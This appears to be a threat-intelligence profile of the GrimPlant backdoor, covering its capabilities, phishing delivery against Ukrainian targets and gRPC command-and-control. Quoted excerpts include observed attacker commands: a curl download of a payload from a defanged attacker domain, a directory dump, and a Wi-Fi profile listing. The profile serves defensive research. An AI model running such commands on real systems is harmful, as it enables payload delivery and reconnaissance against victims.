Loading malware…
GrimPlant, also known as Elephant Implant, is a Go-written Windows backdoor belonging to the Elephant malware framework. It enables operators to execute arbitrary PowerShell scripts and other remotely supplied commands, returning execution results to its command-and-control server. It collects host information, including the IP address, hostname, operating system, username, home directory, and CPU count, and generates a machine identifier. Command-and-control communication uses gRPC over HTTP/2 protected by TLS, with an embedded certificate supporting server validation. The implant periodically sends heartbeats and polls for commands.
GrimPlant has been used by UAC-0056, also tracked as SaintBear, UNC2589, and Ember Bear, in cyberespionage campaigns against Ukrainian government organizations and other Ukrainian entities, including media organizations. Delivery chains have used spear-phishing emails containing macro-enabled Excel attachments, fake antivirus or security updates, and executables disguised as translation software. Elephant dropper and downloader components retrieve and execute GrimPlant alongside GraphSteel, the framework's credential and file-stealing component. The downloader establishes Windows registry-based autorun persistence for the deployment. Some campaigns also deploy Cobalt Strike Beacon. GrimPlant provides remote command execution and host reconnaissance; the dedicated credential and document collection functions belong to GraphSteel.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
GrimPlant is a simple backdoor allowing for remote execution of PowerShell commands.
Elephant Implant, also tracked as GrimPlant backdoor, seems to be one of the most important payloads in this attack, the researchers say.
23 distinct techniques documented for this family, organized by ATT&CK tactic.
The emails were themed as “critical security updates” and contained links to download a fake AV update package.
The phishing emails impersonate Ukrainian government agencies offering ways to increase network security and advise recipients to download "critical security updates," which come in the form of a 60 MB file named "BitdefenderWindowsUpdatePackage.exe."
in this campaign the threat actor is using a spear-phishing attack that contains macro-embedded Excel documents
У тілі листа знаходиться посилання на веб-сайт hxxps://forkscenter[.]fr/, з якого пропонується завантажити "критичні оновлення"
The capabilities of the two tools cover network reconnaissance, command execution, and file operations... Execute commands... Execute commands received remotely and return results to C2
C:\Windows\System32\cmd.exe /C cd %USERPROFILE%\AppData\Local\Temp\ & curl -O hxxps://forkscenter[.]fr/Sdghrt_umrj6/wisw.exe
When a victim downloads and run this fake BitDefender Windows update... this 'update' actually downloads and installs the one.exe file... which is a Cobalt Strike beacon.
The phishing email contained a Word document that, when Macros were enabled, dropped the Black Energy malware to disk.
This file adds a new Windows registry key for persistence
This file adds a new Windows registry key for persistence
EXE-файли (завантажувачі з Discord) захищено протектором Themida ... завантаження, base64-декодування
All executables in the campaign are packed on the Themida tool, which protects them from reverse engineering, detection, and analysis.
The phishing emails impersonate Ukrainian government agencies... download "critical security updates," which come in the form of a 60 MB file named "BitdefenderWindowsUpdatePackage.exe."
gets the IP address of the machine by making a request to https://api.ipify.org/
GraphSteel features: Gather hostname, username, and IP address information... GrimPlant capabilities: Gather IP address, hostname, OS, username, home dir
The capabilities of the two tools cover network reconnaissance
GrimPlant capabilities: Gather IP address, hostname, OS, username, home dir
cmd.exe /C cd / & dir /S > %USERPROFILE%\AppData\Local\Temp\Rsjdjfvj.txt
cmd /Q /C netsh wlan show profiles
The implant makes use of gRPC to communicate with the C2, it has a TLS certificate embedded in the binary
GrimPlant ... В якості протоколу використовується gRPC (Protocol Buffers + HTTP/2 + SSL)
Then, further payloads are downloaded from the attacker server in Base64 format.
UAC-0056 (Pandora hVNC, RemoteUtilities, GrimPlant, GraphSteel)
This allows the malware to encrypt all the data that is being sent to the C2 via gRPC
38 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.